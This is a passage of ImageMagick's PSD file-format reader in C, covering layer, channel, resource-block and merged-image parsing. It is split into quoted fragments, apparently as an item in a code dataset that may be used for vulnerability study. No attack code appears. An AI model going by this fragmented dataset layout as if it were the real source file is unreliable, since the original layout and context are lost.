(layer_info->channel_info[i].supported == MagickFalse)\n continue;\n channel=layer_info->channel_info[i].channel;\n if ((i == 0) && (psd_info->mode == IndexedMode) &&\n (channel != RedPixelChannel))\n return(MagickFalse);\n if (channel == AlphaPixelChannel)\n {\n channel_type|=AlphaChannel;\n continue;\n }\n if (channel == RedPixelChannel)\n channel_type&=~RedChannel;\n else if (channel == GreenPixelChannel)\n channel_type&=~GreenChannel;\n else if (channel == BluePixelChannel)\n channel_type&=~BlueChannel;\n else if (channel == BlackPixelChannel)\n channel_type&=~BlackChannel;\n }\n if (channel_type == 0)\n return(MagickTrue);\n if ((channel_type == AlphaChannel) &&\n (layer_info->channels >= psd_info->min_channels + 1))\n return(MagickTrue);\n return(MagickFalse);\n}", "static void AttachPSDLayers(Image *image,LayerInfo *layer_info,\n ssize_t number_layers)\n{\n ssize_t\n i;", " ssize_t\n j;", " for (i=0; i < number_layers; i++)\n {\n if (layer_info[i].image == (Image *) NULL)\n {\n for (j=i; j < number_layers - 1; j++)\n layer_info[j] = layer_info[j+1];\n number_layers--;\n i--;\n }\n }\n if (number_layers == 0)\n {\n layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info);\n return;\n }\n for (i=0; i < number_layers; i++)\n {\n if (i > 0)\n layer_info[i].image->previous=layer_info[i-1].image;\n if (i < (number_layers-1))\n layer_info[i].image->next=layer_info[i+1].image;\n layer_info[i].image->page=layer_info[i].page;\n }\n image->next=layer_info[0].image;\n layer_info[0].image->previous=image;\n layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info);\n}", "static inline MagickBooleanType PSDSkipImage(const PSDInfo *psd_info,\n const ImageInfo *image_info,const size_t index)\n{\n if (psd_info->has_merged_image == MagickFalse)\n return(MagickFalse);\n if (image_info->number_scenes == 0)\n return(MagickFalse);\n if (index < image_info->scene)\n return(MagickTrue);\n if (index > image_info->scene+image_info->number_scenes-1)\n return(MagickTrue);\n return(MagickFalse);\n}", "static void CheckMergedImageAlpha(const PSDInfo *psd_info,Image *image)\n{\n /*\n The number of layers cannot be used to determine if the merged image\n contains an alpha channel. So we enable it when we think we should.\n */\n if (((psd_info->mode == GrayscaleMode) && (psd_info->channels > 1)) ||\n ((psd_info->mode == RGBMode) && (psd_info->channels > 3)) ||\n ((psd_info->mode == CMYKMode) && (psd_info->channels > 4)))\n image->alpha_trait=BlendPixelTrait;\n}", "static void ParseAdditionalInfo(LayerInfo *layer_info)\n{\n char\n key[5];", " size_t\n remaining_length;", " unsigned char\n *p;", " unsigned int\n size;", " p=GetStringInfoDatum(layer_info->info);\n remaining_length=GetStringInfoLength(layer_info->info);\n while (remaining_length >= 12)\n {\n /* skip over signature */\n p+=4;\n key[0]=(char) (*p++);\n key[1]=(char) (*p++);\n key[2]=(char) (*p++);\n key[3]=(char) (*p++);\n key[4]='\\0';\n size=(unsigned int) (*p++) << 24;\n size|=(unsigned int) (*p++) << 16;\n size|=(unsigned int) (*p++) << 8;\n size|=(unsigned int) (*p++);\n size=size & 0xffffffff;\n remaining_length-=12;\n if ((size_t) size > remaining_length)\n break;\n if (LocaleNCompare(key,\"luni\",sizeof(key)) == 0)\n {\n unsigned char\n *name;", " unsigned int\n length;", " length=(unsigned int) (*p++) << 24;\n length|=(unsigned int) (*p++) << 16;\n length|=(unsigned int) (*p++) << 8;\n length|=(unsigned int) (*p++);\n if (length * 2 > size - 4)\n break;\n if (sizeof(layer_info->name) <= length)\n break;\n name=layer_info->name;\n while (length > 0)\n {\n /* Only ASCII strings are supported */\n if (*p++ != '\\0')\n break;\n *name++=*p++;\n length--;\n }\n if (length == 0)\n *name='\\0';\n break;\n }\n else\n p+=size;\n remaining_length-=(size_t) size;\n }\n}", "static MagickSizeType GetLayerInfoSize(const PSDInfo *psd_info,Image *image)\n{\n char\n type[4];", " MagickSizeType\n size;", " ssize_t\n count;", " size=GetPSDSize(psd_info,image);\n if (size != 0)\n return(size);\n (void) ReadBlobLong(image);\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n return(0);\n count=ReadPSDString(image,type,4);\n if ((count == 4) && ((LocaleNCompare(type,\"Mt16\",4) == 0) ||\n (LocaleNCompare(type,\"Mt32\",4) == 0) ||\n (LocaleNCompare(type,\"Mtrn\",4) == 0)))\n {\n size=GetPSDSize(psd_info,image);\n if (size != 0)\n return(0);\n image->alpha_trait=BlendPixelTrait;\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n return(0);\n count=ReadPSDString(image,type,4);\n }\n if ((count == 4) && ((LocaleNCompare(type,\"Lr16\",4) == 0) ||\n (LocaleNCompare(type,\"Lr32\",4) == 0)))\n size=GetPSDSize(psd_info,image);\n return(size);\n}", "static MagickBooleanType ReadPSDLayersInternal(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,\n const MagickBooleanType skip_layers,ExceptionInfo *exception)\n{\n char\n type[4];", " LayerInfo\n *layer_info;", " MagickSizeType\n size;", " MagickBooleanType\n status;", " ssize_t\n count,\n index,\n i,\n j,\n number_layers;", " size=GetLayerInfoSize(psd_info,image);\n if (size == 0)\n {\n CheckMergedImageAlpha(psd_info,image);\n return(MagickTrue);\n }", " layer_info=(LayerInfo *) NULL;\n number_layers=(ssize_t) ReadBlobSignedShort(image);", " if (number_layers < 0)\n {\n /*\n The first alpha channel in the merged result contains the\n transparency data for the merged result.\n */\n number_layers=MagickAbsoluteValue(number_layers);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" negative layer count corrected for\");\n image->alpha_trait=BlendPixelTrait;\n }", " /*\n We only need to know if the image has an alpha channel\n */\n if (skip_layers != MagickFalse)\n return(MagickTrue);", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image contains %.20g layers\",(double) number_layers);", " if (number_layers == 0)\n ThrowBinaryException(CorruptImageError,\"InvalidNumberOfLayers\",\n image->filename);", " layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers,\n sizeof(*layer_info));\n if (layer_info == (LayerInfo *) NULL)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" allocation of LayerInfo failed\");\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n (void) memset(layer_info,0,(size_t) number_layers*sizeof(*layer_info));", " for (i=0; i < number_layers; i++)\n {\n ssize_t\n top,\n left,\n bottom,\n right;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading layer #%.20g\",(double) i+1);\n top=(ssize_t) ReadBlobSignedLong(image);\n left=(ssize_t) ReadBlobSignedLong(image);\n bottom=(ssize_t) ReadBlobSignedLong(image);\n right=(ssize_t) ReadBlobSignedLong(image);\n if ((right < left) || (bottom < top))\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n layer_info[i].page.y=top;\n layer_info[i].page.x=left;\n layer_info[i].page.width=(size_t) (right-left);\n layer_info[i].page.height=(size_t) (bottom-top);\n layer_info[i].channels=ReadBlobShort(image);\n if (layer_info[i].channels > MaxPSDChannels)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"MaximumChannelsExceeded\",\n image->filename);\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g\",\n (double) layer_info[i].page.x,(double) layer_info[i].page.y,\n (double) layer_info[i].page.height,(double)\n layer_info[i].page.width,(double) layer_info[i].channels);\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n layer_info[i].channel_info[j].supported=GetPixelChannelFromPsdIndex(\n psd_info,(ssize_t) ReadBlobSignedShort(image),\n &layer_info[i].channel_info[j].channel);\n layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info,\n image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" channel[%.20g]: type=%.20g, size=%.20g\",(double) j,\n (double) layer_info[i].channel_info[j].channel,\n (double) layer_info[i].channel_info[j].size);\n }\n if (CheckPSDChannels(image,psd_info,&layer_info[i]) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer type was %.4s instead of 8BIM\", type);\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n count=ReadPSDString(image,layer_info[i].blendkey,4);\n if (count != 4)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char)\n ReadBlobByte(image));\n layer_info[i].clipping=(unsigned char) ReadBlobByte(image);\n layer_info[i].flags=(unsigned char) ReadBlobByte(image);\n layer_info[i].visible=!(layer_info[i].flags & 0x02);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s\",\n layer_info[i].blendkey,(double) layer_info[i].opacity,\n layer_info[i].clipping ? \"true\" : \"false\",layer_info[i].flags,\n layer_info[i].visible ? \"true\" : \"false\");\n (void) ReadBlobByte(image); /* filler */", " size=ReadBlobLong(image);\n if (size != 0)\n {\n MagickSizeType\n combined_length,\n length;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer contains additional info\");\n length=ReadBlobLong(image);\n combined_length=length+4;\n if (length != 0)\n {\n /*\n Layer mask info.\n */\n layer_info[i].mask.page.y=(ssize_t) ReadBlobSignedLong(image);\n layer_info[i].mask.page.x=(ssize_t) ReadBlobSignedLong(image);\n layer_info[i].mask.page.height=(size_t)\n (ReadBlobSignedLong(image)-layer_info[i].mask.page.y);\n layer_info[i].mask.page.width=(size_t) (\n ReadBlobSignedLong(image)-layer_info[i].mask.page.x);\n layer_info[i].mask.background=(unsigned char) ReadBlobByte(\n image);\n layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image);\n if (!(layer_info[i].mask.flags & 0x01))\n {\n layer_info[i].mask.page.y=layer_info[i].mask.page.y-\n layer_info[i].page.y;\n layer_info[i].mask.page.x=layer_info[i].mask.page.x-\n layer_info[i].page.x;\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g\",\n (double) layer_info[i].mask.page.x,(double)\n layer_info[i].mask.page.y,(double)\n layer_info[i].mask.page.width,(double)\n layer_info[i].mask.page.height,(double) ((MagickOffsetType)\n length)-18);\n /*\n Skip over the rest of the layer mask information.\n */\n if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n length=ReadBlobLong(image);\n combined_length+=length+4;\n if (length != 0)\n {\n /*\n Layer blending ranges info.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer blending ranges: length=%.20g\",(double)\n ((MagickOffsetType) length));\n if (DiscardBlobBytes(image,length) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n /*\n Layer name.\n */\n length=(MagickSizeType) (unsigned char) ReadBlobByte(image);\n combined_length+=length+1;\n if (length > 0)\n (void) ReadBlob(image,(size_t) length++,layer_info[i].name);\n layer_info[i].name[length]='\\0';\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer name: %s\",layer_info[i].name);\n if ((length % 4) != 0)\n {\n length=4-(length % 4);\n combined_length+=length;\n /* Skip over the padding of the layer name */\n if (DiscardBlobBytes(image,length) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n length=(MagickSizeType) size-combined_length;\n if (length > 0)\n {\n unsigned char\n *info;", " if (length > GetBlobSize(image))\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"InsufficientImageDataInFile\",image->filename);\n }\n layer_info[i].info=AcquireStringInfo((const size_t) length);\n info=GetStringInfoDatum(layer_info[i].info);\n (void) ReadBlob(image,(const size_t) length,info);\n ParseAdditionalInfo(&layer_info[i]);\n }\n }\n }", " for (i=0; i < number_layers; i++)\n {\n if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is empty\");\n if (layer_info[i].info != (StringInfo *) NULL)\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n continue;\n }", " /*\n Allocate layered image.\n */\n layer_info[i].image=CloneImage(image,layer_info[i].page.width,\n layer_info[i].page.height,MagickFalse,exception);\n if (layer_info[i].image == (Image *) NULL)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" allocation of image for layer %.20g failed\",(double) i);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n if (layer_info[i].channel_info[j].channel == AlphaPixelChannel)\n {\n layer_info[i].image->alpha_trait=BlendPixelTrait;\n break;\n }\n }\n if (layer_info[i].info != (StringInfo *) NULL)\n {\n (void) SetImageProfile(layer_info[i].image,\"psd:additional-info\",\n layer_info[i].info,exception);\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n }\n }\n if (image_info->ping != MagickFalse)\n {\n AttachPSDLayers(image,layer_info,number_layers);\n return(MagickTrue);\n }\n status=MagickTrue;\n index=0;\n for (i=0; i < number_layers; i++)\n {\n if ((layer_info[i].image == (Image *) NULL) ||\n (PSDSkipImage(psd_info, image_info,++index) != MagickFalse))\n {\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n if (DiscardBlobBytes(image,(MagickSizeType)\n layer_info[i].channel_info[j].size) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n continue;\n }", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading data for layer %.20g\",(double) i);", " status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i],\n exception);\n if (status == MagickFalse)\n break;", " status=SetImageProgress(image,LoadImagesTag,(MagickOffsetType) i,\n (MagickSizeType) number_layers);\n if (status == MagickFalse)\n break;\n }", " if (status != MagickFalse)\n AttachPSDLayers(image,layer_info,number_layers);\n else\n layer_info=DestroyLayerInfo(layer_info,number_layers);", " return(status);\n}", "ModuleExport MagickBooleanType ReadPSDLayers(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " status=IsRightsAuthorized(CoderPolicyDomain,ReadPolicyRights,\"PSD\");\n if (status == MagickFalse)\n return(MagickTrue);\n return(ReadPSDLayersInternal(image,image_info,psd_info,MagickFalse,\n exception));\n}", "static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info,\n Image *image,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickOffsetType\n *sizes;", " MagickBooleanType\n status;", " PSDCompressionType\n compression;", " ssize_t\n i;", " if ((image_info->number_scenes != 0) && (image_info->scene != 0))\n return(MagickTrue);\n compression=(PSDCompressionType) ReadBlobMSBShort(image);\n image->compression=ConvertPSDCompression(compression);", " if (compression != Raw && compression != RLE)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n TypeWarning,\"CompressionNotSupported\",\"'%.20g'\",(double) compression);\n return(MagickFalse);\n }", " sizes=(MagickOffsetType *) NULL;\n if (compression == RLE)\n {\n sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels);\n if (sizes == (MagickOffsetType *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }", " SetPsdMetaChannels(image,psd_info,psd_info->channels,exception);\n status=MagickTrue;\n for (i=0; i < (ssize_t) psd_info->channels; i++)\n {\n PixelChannel\n channel;", " status=GetPixelChannelFromPsdIndex(psd_info,i,&channel);\n if (status == MagickFalse)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageError,\"MaximumChannelsExceeded\",\"'%.20g'\",(double) i);\n break;\n }", " if (compression == RLE)\n status=ReadPSDChannelRLE(image,channel,sizes+(i*image->rows),exception);\n else\n status=ReadPSDChannelRaw(image,channel,exception);", " if (status != MagickFalse)\n status=SetImageProgress(image,LoadImagesTag,(MagickOffsetType) i,\n psd_info->channels);", " if (status == MagickFalse)\n break;\n }", " if ((status != MagickFalse) && (image->colorspace == CMYKColorspace))\n status=NegateCMYK(image,exception);", " if (status != MagickFalse)\n status=CorrectPSDAlphaBlend(image_info,image,exception);", " sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes);", " return(status);\n}", "static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;", " MagickBooleanType\n skip_layers;", " MagickOffsetType\n offset;", " MagickSizeType\n length;", " MagickBooleanType\n status;", " PSDInfo\n psd_info;", " ssize_t\n i;", " size_t\n image_list_length;", " ssize_t\n count;", " StringInfo\n *profile;", " /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);", " image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read image header.\n */\n image->endian=MSBEndian;\n count=ReadBlob(image,4,(unsigned char *) psd_info.signature);\n psd_info.version=ReadBlobMSBShort(image);\n if ((count != 4) || (LocaleNCompare(psd_info.signature,\"8BPS\",4) != 0) ||\n ((psd_info.version != 1) && (psd_info.version != 2)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n (void) ReadBlob(image,6,psd_info.reserved);\n psd_info.channels=ReadBlobMSBShort(image);\n if (psd_info.channels < 1)\n ThrowReaderException(CorruptImageError,\"MissingImageChannel\");\n if (psd_info.channels > MaxPSDChannels)\n ThrowReaderException(CorruptImageError,\"MaximumChannelsExceeded\");\n psd_info.rows=ReadBlobMSBLong(image);\n psd_info.columns=ReadBlobMSBLong(image);\n if ((psd_info.version == 1) && ((psd_info.rows > 30000) ||\n (psd_info.columns > 30000)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.depth=ReadBlobMSBShort(image);\n if ((psd_info.depth != 1) && (psd_info.depth != 8) &&\n (psd_info.depth != 16) && (psd_info.depth != 32))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.mode=ReadBlobMSBShort(image);\n if ((psd_info.mode == IndexedMode) && (psd_info.channels > 3))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s\",\n (double) psd_info.columns,(double) psd_info.rows,(double)\n psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType)\n psd_info.mode));\n if (EOFBlob(image) != MagickFalse)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Initialize image.\n */\n image->depth=psd_info.depth;\n image->columns=psd_info.columns;\n image->rows=psd_info.rows;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n status=ResetImagePixels(image,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n psd_info.min_channels=3;\n switch (psd_info.mode)\n {\n case LabMode:\n {\n (void) SetImageColorspace(image,LabColorspace,exception);\n break;\n }\n case CMYKMode:\n {\n psd_info.min_channels=4;\n (void) SetImageColorspace(image,CMYKColorspace,exception);\n break;\n }\n case BitmapMode:\n case GrayscaleMode:\n case DuotoneMode:\n {\n if (psd_info.depth != 32)\n {\n status=AcquireImageColormap(image,MagickMin((size_t)\n (psd_info.depth < 16 ? 256 : 65536), MaxColormapSize),exception);\n if (status == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image colormap allocated\");\n }\n psd_info.min_channels=1;\n (void) SetImageColorspace(image,GRAYColorspace,exception);\n break;\n }\n case IndexedMode:\n {\n psd_info.min_channels=1;\n break;\n }\n case MultichannelMode:\n {\n if ((psd_info.channels > 0) && (psd_info.channels < 3))\n {\n psd_info.min_channels=psd_info.channels;\n (void) SetImageColorspace(image,GRAYColorspace,exception);\n }\n break;\n }\n }\n if (psd_info.channels < psd_info.min_channels)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Read PSD raster colormap only present for indexed and duotone images.\n */\n length=ReadBlobMSBLong(image);\n if ((psd_info.mode == IndexedMode) && (length < 3))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (length != 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading colormap\");\n if ((psd_info.mode == DuotoneMode) || (psd_info.depth == 32))\n {\n /*\n Duotone image data; the format of this data is undocumented.\n 32 bits per pixel; the colormap is ignored.\n */\n (void) SeekBlob(image,(const MagickOffsetType) length,SEEK_CUR);\n }\n else\n {\n size_t\n number_colors;", " /*\n Read PSD raster colormap.\n */\n number_colors=(size_t) length/3;\n if (number_colors > 65536)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (AcquireImageColormap(image,number_colors,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].red=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].green=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].blue=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n image->alpha_trait=UndefinedPixelTrait;\n }\n }\n if ((image->depth == 1) && (image->storage_class != PseudoClass))\n ThrowReaderException(CorruptImageError, \"ImproperImageHeader\");\n psd_info.has_merged_image=MagickTrue;\n profile=(StringInfo *) NULL;\n length=ReadBlobMSBLong(image);\n if (length != 0)\n {\n unsigned char\n *blocks;", " /*\n Image resources block.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading image resource blocks - %.20g bytes\",(double)\n ((MagickOffsetType) length));\n if (length > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n blocks=(unsigned char *) AcquireQuantumMemory((size_t) length,\n sizeof(*blocks));\n if (blocks == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,(size_t) length,blocks);\n if ((count != (ssize_t) length) || (length < 4) ||\n (LocaleNCompare((char *) blocks,\"8BIM\",4) != 0))\n {\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n profile=ParseImageResourceBlocks(&psd_info,image,blocks,(size_t) length);\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n }\n /*\n Layer and mask block.\n */\n length=GetPSDSize(&psd_info,image);\n if (length == 8)\n {\n length=ReadBlobMSBLong(image);\n length=ReadBlobMSBLong(image);\n }\n offset=TellBlob(image);\n skip_layers=MagickFalse;\n if ((image_info->number_scenes == 1) && (image_info->scene == 0) &&\n (psd_info.has_merged_image != MagickFalse))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" read composite only\");\n skip_layers=MagickTrue;\n }\n if (length == 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has no layers\");\n }\n else\n {\n if (ReadPSDLayersInternal(image,image_info,&psd_info,skip_layers,\n exception) != MagickTrue)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }", " /*\n Skip the rest of the layer and mask information.\n */\n (void) SeekBlob(image,offset+length,SEEK_SET);\n }\n /*\n If we are only \"pinging\" the image, then we're done - so return.\n */\n if (EOFBlob(image) != MagickFalse)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n ThrowReaderException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n if (image_info->ping != MagickFalse)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n /*\n Read the precombined layer, present for PSD < 4 compatibility.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading the precombined layer\");\n image_list_length=GetImageListLength(image);\n if ((psd_info.has_merged_image != MagickFalse) || (image_list_length == 1))\n psd_info.has_merged_image=(MagickBooleanType) ReadPSDMergedImage(\n image_info,image,&psd_info,exception);\n if ((psd_info.has_merged_image == MagickFalse) && (image_list_length == 1) &&\n (length != 0))\n {\n (void) SeekBlob(image,offset,SEEK_SET);\n status=ReadPSDLayersInternal(image,image_info,&psd_info,MagickFalse,\n exception);\n if (status != MagickTrue)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image_list_length=GetImageListLength(image);\n }\n if (psd_info.has_merged_image == MagickFalse)\n {\n Image\n *merged;", " if (image_list_length == 1)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n }\n image->background_color.alpha=(MagickRealType) TransparentAlpha;\n image->background_color.alpha_trait=BlendPixelTrait;\n (void) SetImageBackgroundColor(image,exception);\n merged=MergeImageLayers(image,FlattenLayer,exception);\n if (merged == (Image *) NULL)\n {\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n ReplaceImageInList(&image,merged);\n }\n if (profile != (StringInfo *) NULL)\n {\n const char\n *option;", " Image\n *next;", " MagickBooleanType\n replicate_profile;", " option=GetImageOption(image_info,\"psd:replicate-profile\");\n replicate_profile=IsStringTrue(option);\n i=0;\n next=image;\n while (next != (Image *) NULL)\n {\n if (PSDSkipImage(&psd_info,image_info,i++) == MagickFalse)\n {\n (void) SetImageProfile(next,GetStringInfoName(profile),profile,\n exception);\n if (replicate_profile == MagickFalse)\n break;\n }\n next=next->next;\n }\n profile=DestroyStringInfo(profile);\n }\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% R e g i s t e r P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% RegisterPSDImage() adds properties for the PSD image format to\n% the list of supported formats. The properties include the image format\n% tag, a method to read and/or write the format, whether the format\n% supports the saving of more than one frame to the same file or blob,\n% whether the format supports native in-memory I/O, and a brief\n% description of the format.\n%\n% The format of the RegisterPSDImage method is:\n%\n% size_t RegisterPSDImage(void)\n%\n*/\nModuleExport size_t RegisterPSDImage(void)\n{\n MagickInfo\n *entry;", " entry=AcquireMagickInfo(\"PSD\",\"PSB\",\"Adobe Large Document Format\");\n entry->decoder=(DecodeImageHandler *) ReadPSDImage;\n entry->encoder=(EncodeImageHandler *) WritePSDImage;\n entry->magick=(IsImageFormatHandler *) IsPSD;\n entry->flags|=CoderDecoderSeekableStreamFlag;\n entry->flags|=CoderEncoderSeekableStreamFlag;\n (void) RegisterMagickInfo(entry);\n entry=AcquireMagickInfo(\"PSD\",\"PSD\",\"Adobe Photoshop bitmap\");\n entry->decoder=(DecodeImageHandler *) ReadPSDImage;\n entry->encoder=(EncodeImageHandler *) WritePSDImage;\n entry->magick=(IsImageFormatHandler *) IsPSD;\n 